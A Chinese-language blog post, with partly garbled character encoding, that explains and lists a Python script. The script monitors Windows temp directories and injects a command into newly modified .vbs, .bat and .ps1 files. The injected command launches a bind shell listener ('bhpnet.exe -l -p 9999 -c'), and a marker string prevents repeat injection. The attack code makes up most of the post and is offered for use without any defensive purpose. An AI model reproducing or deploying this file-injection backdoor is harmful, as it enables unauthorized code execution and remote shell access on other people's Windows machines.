代碼思路:
首先定義三個文件類型。.vbs,.bat,.ps1。對這三個后綴名的文件進(jìn)行監(jiān)視,并根據(jù)后綴名不同,插入不同的代碼。(意思都是運(yùn)行那個command)。
windows是創(chuàng)建一個文件并寫入數(shù)據(jù)的過程,其實就是先create,再modify,所以當(dāng)檢測到有后綴名為windows下可以執(zhí)行的文件被修改時。就可以插入惡意代碼。這里簡單的用一個inject_code()函數(shù)來表示插入的過程。
同時為了區(qū)分一個臨時文件是否已經(jīng)被插入了惡意代碼,可以使用一個標(biāo)志位加以區(qū)分。
代碼:
import win32file import tempfile import threading import os import win32con dir_minitor=["C:\\Windows\\Temp",tempfile.gettempdir()] FILE_CREATED =1 FILE_DELETED =2 FILE_MODIFIED = 3 FILE_RENAMED_FROM=4 FILE_RENAMED_TO = 5 file_type={} command="C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c" file_type['.vbs']=['\r\nbhpmarker\r\n','\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n'%command] file_type['.bat']=['\r\nbhpmarker\r\n','\r\n%s\r\n'%command] file_type['.ps1']=['\r\nbhpmarker\r\n','Start-Process\"%s\"\r\n'%command] #print file_type.keys() def code_inject(full_filename,extension,contents): #print "run" if file_type[extension][0] in contents: #print "hahha" return full_content=file_type[extension][0] full_content+=file_type[extension][1] full_content+=contents fd=open(full_filename,"wb") fd.write(full_content) fd.close() print "Injected code" return def startMimitor(dir): FILE_LIST_DIRECTORY=0x0001 dir_director=win32file.CreateFile( dir, FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_SHARE_DELETE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS, None ) while 1: try: results=win32file.ReadDirectoryChangesW( dir_director, 1024, True, win32con.FILE_NOTIFY_CHANGE_DIR_NAME|win32con.FILE_NOTIFY_CHANGE_FILE_NAME|win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|win32con.FILE_NOTIFY_CHANGE_SIZE|win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|win32con.FILE_NOTIFY_CHANGE_SECURITY, None, None ) for action,file_name in results: full_filename=os.path.join(dir,file_name) #print full_filename filename,extension = os.path.splitext(full_filename) # print filename # print extension if extension in file_type: flag=1 if action==FILE_CREATED: if flag: print "[*] Created %s"%full_filename elif action==FILE_DELETED: if flag: print "[-] Deleted %s"%full_filename elif action==FILE_MODIFIED: if flag: print "[*] Modified %s"%full_filename print "[vvv] Dumping contents ...." try: fd = open(full_filename,"rb") contents=fd.read() fd.close() print contents print "[^^^] Dump complete." except: print "[!!!] Failed" filename,extension=os.path.splitext(full_filename) print full_filename+extension+contents code_inject(full_filename,extension,contents) elif action==FILE_RENAMED_FROM: if flag: print "[>] Renamed from :%s"%full_filename elif action==FILE_RENAMED_TO: if flag: print "[<] Renamed to %s"%full_filename else: if flag: print "[???] Unknown:%s"%full_filename except: pass for path in dir_minitor: monitor_thread = threading.Thread(target=startMimitor,args=(path,)) print "Spawning monitoring thread for path:%s"%path # print file_type # if '.bat' in file_type.keys(): # print file_type monitor_thread.start()
運(yùn)行結(jié)果:
?
?
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
